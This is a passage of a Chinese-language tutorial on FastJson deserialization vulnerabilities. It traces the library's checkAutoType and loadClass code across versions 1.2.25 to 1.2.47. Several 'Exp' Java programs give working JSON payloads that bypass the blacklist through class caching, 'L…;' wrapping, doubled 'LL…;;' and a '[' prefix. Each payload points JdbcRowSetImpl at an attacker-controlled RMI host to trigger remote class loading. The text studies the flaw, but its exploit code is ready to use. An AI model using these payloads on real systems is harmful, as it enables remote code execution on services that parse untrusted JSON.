,此时 com.sun.rowset.JdbcRowSetImpl 类会通过 loadClass 方法被添加到缓存中。
当第二次反序列化使用 @type
利用 com.sun.rowset.JdbcRowSetImpl 类时,就会因目标类在缓存中而成功加载并跟上面的攻击过程一样进行攻击,本质上就是多了绕过 checkAutoType 方法。
Exp
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://<攻击机 IP>:9999/touchFile\",\"AutoCommit\":\"false\"}}";
JSON.parseObject(s);
}
}
先通过 java.lang.Class
调用 MiscCodec.deserialze()
执行 TypeUtils.loadClass()
将黑名单中的类加进缓存中来绕过 checkAutoType 方法,第二次再使用跟之前的 Payload 进行攻击。
FastJson 1.2.25 - 1.2.41
- FastJson Version 1.2.25
autoTypeSupport == true
在上面说 FastJson <= 1.2.47 的绕过的时候可以发现 FastJson 1.2.25 在反序列化的时候并没有直接通过 TypeUtils.loadClass()
加载类,而是加入了一个 checkAutoType() 方法并在该方法内来加载类。
上述 (FastJson <= 1.2.47) 的绕过是在 autoTypeSupport 为默认值 false 的情况下,若 autoTypeSupport 为 true 时的部分代码截取如下。
// com.alibaba.fastjson.parser.ParserConfig #704
public Class <? > checkAutoType(String typeName, Class <? > expectClass) {
if(typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if(this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if(className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if(className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class <? > clazz = TypeUtils.getClassFromMapping(typeName);
if(clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if(clazz != null) {
if(expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
...
if(this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if(clazz != null) {
if(ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if(expectClass != null) {
if(expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if(!this.autoTypeSupport) {
...
} else {
return clazz;
}
}
}
}
执行的步骤大概如下:
- 将目标类名遍历白名单和黑名单;
- 从缓存 mappings 中寻找该类,没有就继续从反序列化器中找;
- 找到后调用
TypeUtils.loadClass()
方法加载目标类。
// com.alibaba.fastjson.util.TypeUtils #831
public static Class <? > loadClass(String className, ClassLoader classLoader) {
if(className != null && className.length() != 0) {
Class <? > clazz = (Class) mappings.get(className);
if(clazz != null) {
return clazz;
} else if(className.charAt(0) == '[') {
Class <? > componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if(className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
...
}
} else {
return null;
}
}
在 loadClass() 方法中可以看到存在一个特殊的判断,即当类名为 [
开头或 L
开头并且以 ;
结尾时,会截取中间部分并进行递归再次执行 loadClass() 方法。因此可以通过给恶意类加上上述特殊符号即可帮助恶意类绕过 checkAutoType() 方法中的黑名单(上方 FastJson <= 1.2.47 处有图)。
Exp
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"rmi://<攻击机 IP>:9999/touchFile\",\"AutoCommit\":\"false\"}";
JSON.parseObject(s);
}
}
FastJson 1.2.42
FastJson 1.2.42 版本在 checkAutoType() 方法中多加了以下内容
if(((-3750763034362895579L ^ (long) className.charAt(0)) * 1099511628211L ^ (long) className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
通过以下内容可以判断出它在进行遍历黑白名单的时候先进行了一次判断来删除 L
和 ;
。
String className = "L;";
System.out.println(((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L);
// true
因此可以直接通过双写进行绕过。
Exp
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String s = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"rmi://<攻击机 IP>:9999/touchFile\",\"AutoCommit\":\"false\"}";
JSON.parseObject(s);
}
}
FastJson 1.2.43
首先识别到 {
,token 值为 12
执行以下内容,相对应的 token 值可以在 com.alibaba.fastjson.parser.JSONLexerBase 中找到。
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map) object, fieldName);
后续通过判断获取到 "
于是通过 lexer.scanSymbol() 方法获得键名 @type
。在通过黑白名单等等步骤后进入 loadClass() 方法加载类,会执行以下内容。
if(className.charAt(0) == '[') {
Class <? > componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
代码中的loadClass(className.substring(1), classLoader)
会加载指定名称的类并把其放入到缓存中,并将其赋值给componentType
变量。然后,Array.newInstance(componentType, 0)
会创建一个长度为0的空数组实例。最后,.getClass()
方法会返回该空数组实例的Class对象。
识别到 [
后返回 token 值 14
,当执行到 thisObj = deserializer.deserialze(this, clazz, fieldName);
使用反序列化器进行反序列化的时候进入到 com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze()
方法中。
// com.alibaba.fastjson.serializer.ObjectArrayCodec #106
public < T > T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
JSONLexer lexer = parser.lexer;
int token = lexer.token(); // token == 14
if(token == 8) {
lexer.nextToken(16);
return null;
} else if(token != 4 && token != 26) {
Object componentType;
Class componentClass;
if(type instanceof GenericArrayType) {
...
} else {
Class clazz = (Class) type;
componentType = componentClass = clazz.getComponentType();
}
JSONArray array = new JSONArray();
parser.parseArray((Type) componentType, array, fieldName);
return this.toObjectArray(parser, componentClass, array);
} else {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(16);
return bytes.length == 0 && type != byte[].class ? null : bytes;
}
}
通过以上截取代码可知调用了 parser.parseArray()
方法来解析 JSON 数组。
public void parseArray(Type type, Collection array, Object fieldName) {
int token = this.lexer.token();
if(token == 21 || token == 22) {
this.lexer.nextToken();
token = this.lexer.token();
}
if(token != 14) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
} else {
ObjectDeserializer deserializer = null;
if(Integer.TYPE == type) {
deserializer = IntegerCodec.instance;
this.lexer.nextToken(2);
} else if(String.class == type) {
deserializer = StringCodec.instance;
this.lexer.nextToken(4);
} else {
deserializer = this.config.getDeserializer(type);
this.lexer.nextToken(((ObjectDeserializer) deserializer).getFastMatchToken());
}
ParseContext context = this.context;
this.setContext(array, fieldName);
try {
int i = 0;
while(true) {
if(this.lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while(this.lexer.token() == 16) { // ,
this.lexer.nextToken();
}
}
if(this.lexer.token() == 15) { // ]
break;
}
Object val;
if(Integer.TYPE == type) {
val = IntegerCodec.instance.deserialze(this, (Type) null, (Object) null);
array.add(val);
} else if(String.class == type) {
String value;
if(this.lexer.token() == 4) { // '
value = this.lexer.stringVal();
this.lexer.nextToken(16);
} else {
Object obj = this.parse();
if(obj == null) {
value = null;
} else {
value = obj.toString();
}
}
array.add(value);
} else {
if(this.lexer.token() == 8) {
this.lexer.nextToken();
val = null;
} else {
val = ((ObjectDeserializer) deserializer).deserialze(this, type, i);
}
array.add(val);
this.checkListResolve(array);
}
if(this.lexer.token() == 16) {
this.lexer.nextToken(((ObjectDeserializer) deserializer).getFastMatchToken());
}
++i;
}
} finally {
this.setContext(context);
}
this.lexer.nextToken(16);
}
}
首先读取 token 其值为 14
,若非 14 即非 [
时则会抛出报错如下。
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
之后会进入到 ((ObjectDeserializer) deserializer).deserialze(this, type, i);
方法中进行反序列化。
Exp
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String s = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"DataSourceName\":\"rmi://<攻击机 IP>:9999/touchFile\",\"AutoCommit\":\"false\"";
JSON.parseObject(s);
}
}
经过调试发现 1.2.42 也可以用。